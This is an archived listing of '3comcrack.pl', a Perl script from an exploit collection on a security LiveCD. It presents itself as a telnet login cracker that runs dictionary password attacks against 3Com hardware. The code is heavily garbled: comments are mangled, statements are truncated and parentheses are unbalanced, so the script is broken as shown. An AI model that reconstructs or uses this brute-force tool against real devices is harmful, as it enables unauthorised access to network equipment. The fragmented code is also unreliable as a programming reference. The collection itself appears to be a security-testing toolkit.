home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / 3com / 3comcrack.pl < prev    next >
Text File  |  2005-02-12  |  614b  |  29 lines

  1.  
  2. #!/usr/bin/perl -w
  3.  
  4. #######################esponsible for any damgae caused  #
  5. # by the###########################################
  6. rf, chr(13), chr(10);
  7.  
  8. recv(SOCK,$ol,1,0);
  9. $passwd,0); 
  10.    }
  11.    recv(SOCK,$ol,1,0);
  12.  $i++
  13. }
  14. $i=1;
  15. }
  16. print "\n\nIt's sad but true, you failed.\n";
  17. }
  18.  
  19.  
  20. print "\n3Com Hardware Telnet Login Cracker, written by Siberian \- Sentry Research Labs\n\n";
  21. print "Get the latest Version at www.sentry-labs.com\n\n [target host] [dictionary] (username)";
  22. $us= inet_aton($remote) or die "No target host computer found!";
  23. $paddr = sockaddr_in(23, $iesspass();
  24.  
  25. close(FILE1);
  26. close(SOCK);
  27. exit 0;
  28.  
  29.